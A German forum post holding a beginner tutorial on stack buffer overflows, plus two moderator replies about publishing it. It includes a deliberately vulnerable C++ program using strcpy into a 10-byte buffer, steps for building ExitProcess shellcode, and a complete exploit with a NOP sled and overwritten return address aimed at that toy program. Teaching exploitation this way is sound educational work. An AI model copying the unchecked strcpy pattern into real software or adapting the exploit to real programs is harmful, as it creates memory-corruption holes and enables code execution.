[A] Bufferoverflow Tutorial
-
Ein Tutorial wie man Shellcode erzeugt und ein Programm exploitet!
Als erstes solltet ihr wissen das ich dieses Tutorial schreibe weil mich schon viele danach gefragt haben
@mikey: bitteschön und
das ich mich in diesem Tutorial auf das wesentlichste beschränke daher solltet ihr vieleicht ein
wenig Erfahrung mit ASM bzw. C++ / C besitzen.
außerdem bin ich erst 15 Jahre daher nich über die Rechtschreibfehler aufregen (jetzt darf ich es noch auf mein Alter schieben^^)Die Programme
Für dieses Tutorial braucht ihr folgende Programme:
-Downloadpaket von mir Download
-C++ Compiler (Meine Empfehlung: Code::Blocks -> www.codeblocks.org)
-olly debugger (Google.de ^.- )
-etwas VorwissenDer Anfang
Also fangen wir an.....
Um die Funktionsweise eines Exploits zu verstehen muss ich sie euch erklärenBuffer[10 byte] |MÜLL| RET (rip 4byte)
Wenn wir in einen Speicher ( hier Buffer[10] ) mehr hinein kopieren als rein passt dann wird über die
Grenze hinaus reinkopiert sprich alles was dahinter ist wird überschrieben damit auch die sogenannte
Rücksprungaddresse (RET).Nehmen wir folgendes Beispielprogramm das ich in diesem Tutorial benutzen möchte:
NIX.exe (Executable/nix.exe)
#include <iostream> using namespace std; void buffer(char * input){ char output[10]=""; strcpy(output,input); return ; } int main(){ char shellcode[]= "NIX"; buffer(shellcode); cout << "Das Programm wurde ohne Probleme ausgefuehrt!" << endl; system("pause"); return 0; }//tested with mingw
Was passiert hier nun (vieleicht könnt ihr es euch dann besser vorstellen)...
Also Zuerst wird die Funktionbuffer(char*input);
aufgerufen diese kopiert den Inhalt von
shellcode in den output[10] char-array ( strcpy(output,input) )
und
kehrt zurück zur main Funktion ( return );wenn man nun mehr als 10 Zeichen in Shellcode[] schreibt wird irgentwann auch das Return überschreiben
dadurch kann man in andere Teile des Codes springen und sie ausführen.So, jetzt aber zum Shellcode machen ^^
Shellcode
Um einen Shellcode zu machen
müsst ihr euch zuerst die Dateien runterladen die im Anhang sind..Nun könnt ihr die shell.asm editieren:
BITS 32 mov eax, <adresse aus arwin entnehmen> call eax
(Ihr könnt hier beliebigen Code einfügen, an die Profis: auf die Nullbyte-entfernung wird hier
nicht mit eingegangen einfach mal Googeln.)<adresse aus arwin entnehmen> = geh ins Verzeichniss tools/arwin und starte startArwin.bat diese
findet die Adresse von ExitProcess aus der kernel32.dll heraus und gibt Sie aus, diese Adresse schreibt ihr euch auf
und fügt sie im asm Code ein also z.B.BITS 32 mov eax, 0x7c81caa2 call eax
Hinweis:
Dieser ASM Code beendet ganz einfach die Exe (ExitProcess)Jetzt führt ihr die compile.bat aus welche die shell.asm kompiliert,
danach führt ihr die link.bat aus diese Linkt die shell.asm,
Und wiederum hiernach die machShell.bat ^^in der MachShell.bat könnt ihr nun in der mittleren spalte euren fast fertigen Shellcode sehen:
shell: file format pei-i386 Disassembly of section .text: 00401000 <__CTOR_LIST__-0x7>: 401000: b8 a2 ca 81 7c mov $0x7c81caa2,%eax 401005: ff d0 call *%eax 00401007 <__CTOR_LIST__>: 401007: ff (bad) 401008: ff (bad) 401009: ff (bad) 40100a: ff 00 incl (%eax) 40100c: 00 00 add %al,(%eax) ... 0040100f <__DTOR_LIST__>: 40100f: ff (bad) 401010: ff (bad) 401011: ff (bad) 401012: ff 00 incl (%eax) 401014: 00 00 add %al,(%eax) ...
also das in der 00401000 <__CTOR_LIST__-0x7>
ist euer Shellcode also das:b8 a2 ca 81 7c ff d0
dieses Wirrwarr wird zu
"\xb8\xa2\xca\x81\x7c\xff\xd0"
also vor alles \x hängen
Hinweis: aus der Console könnt ihr kopieren indem ihr Rechtsklick -> Markieren -> Mit der linken Maustaste ein Rechteck ziehen und mit Enter / OK kopieren
Wenn ihr längere Shellcodes habt könnt ihr diese im Ordner tools/ShellMaker in die in.txt einfügen also:b8 a2 ca 81 7c ff d0
und dann auf make.bat klicken dann wird der fertige Shellcode in die out.txt geschrieben...
Rücksprungadresse
Um die RET-Adresse (Rücksprungadresse) für DIESES Programm heraus zu finden müsst ihr es kompilieren
und dann im ollydbg öffnen
(oder die Exe aus dem Verzeichniss Executables/NIX.exe öffnen).Rechtsklick -> Search For -> All intermodulare Calls und dann unter der roten Schrift das erste strcpy doppelt anklicken
nun einen Breakpoint auf das Strcpy setzen und die Anwendung neu laden, STRG+F8 drücken nun seht ihr folgendes:
Ihr könnt euch nun ausrechen wieviel bytes Shellcode ihr braucht indem ihr einfach ausrechnet wieviel Platz zwischen der RET Addresse und dem Speicherbeginn ist
(dort wo der Buffer[10] sich befindet, denn in diesen Buffer wollen wir ja soviel reinschreiben dass er das Return überschreibt).jetzt müssen wir einfach nur noch ausrechen wieviel byte es vom "NIX" zum RET sind also
0022ff30 ;("NIX") 0022ff4c ;(ret)
um das auszurechnen benutzt ihr am besten den mitgelieferten HEXRechna aus dem tools Verzeichniss
dort gebt ihr einfach zuerst 0022ff30 ein schreibt euch die Dezimal Zahl auf die rauskommt und dann dasselbe mit 0022ff4c
(diese Adressen können bei euch abweichen wenn ihr die Quellcodes selber compiliert
aber bei der beigelegten exe sind sie richtig)
Also brauchen wir 32 byte Shellcode um die Rücksprungadresse zu überschreiben2293580 - 2293552 = 28 + 4 = 32
Die 4 müssen wir addieren weil wir ja noch die Return addresse überschreiben wollen.
Exploit
Nun müssen wir nur noch alles verbinden was wir bisher gemacht haben also den Quellcode von oben verändern:
shell.exe (Executable/shell.exe)
#include <iostream> using namespace std; void buffer(char * input){ char output[10]=""; strcpy(output,input); return ; } int main(){ char shellcode[]= "\x90\x90\x90\x90" //4 "\x90\x90\x90\x90" //8 "\x90\x90\x90\x90" //12 "\x90\x90\x90\x90" //16 "\x90\x90\x90\x90" //20 "\x90" //21 "\xb8\xa2\xca\x81\x7c" //26 "\xff\xd0" //28 Shellcode "\x30\xff\x22\x00"; //Siehe unten bei RET-ADDRESSE buffer(shellcode); cout << "Das Programm wurde ohne Probleme ausgefuehrt!" << endl; system("pause"); return 0; }//tested with mingw
#RET-ADDRESSE#
"\x30\xff\x22\x00" <- das ist die Rücksprungadresse ich will euch nochmal genau erklären wie man auf diese kommt...
zu aller erst haben wir ja heraus gefunden das der shellcode in die Adrrese 0022ff30 kopiert wird
also müssen wir von dem Return aus auf diese Adresse zurück springen
das machen wir indem wir zuerst die Adresse umkehren denn diese muss in little endian angegeben werden also wird aus0022ff30 -> 30ff2200 -> "\x30\xff\x22\x00"
Verstanden ?Ergebnis
ERFOLGREICH EXPLOITET das Programm beendet ohne die "Das Programm wurde ohne Fehler ausgeführt" Meldung.
Im Debugger können geübte nun auch sehen das der Shellcode funktioniert wenn sie Stepp by Stepp am Code entlang
steppen viel Spaß beim Probieren euer KrokantKrocketeDie Exe´s der beiden Quellcodes sind im Anhang
-
Hallo,
wir freuen uns zwar über Artikel, allerdings kann hier nicht nach Lust und Laune gepostet werden. Zumal du noch nichtmal Autor bei uns bist. Aus diesem Grund habe ich deinen Artikel erstmal hierher verschoben. Wenn du Interesse hast, den Artikel bei uns zu veröffentlichen, melde dich per E-Mail (redaktion at c-plusplus dot de) bei uns. Danke
GPC
-
Hallo!
So, ich habe deinen Artikel mal hier rüber geholt, damit er den Rest der Prozedur noch durchlaufen kann.
Willkommen im Team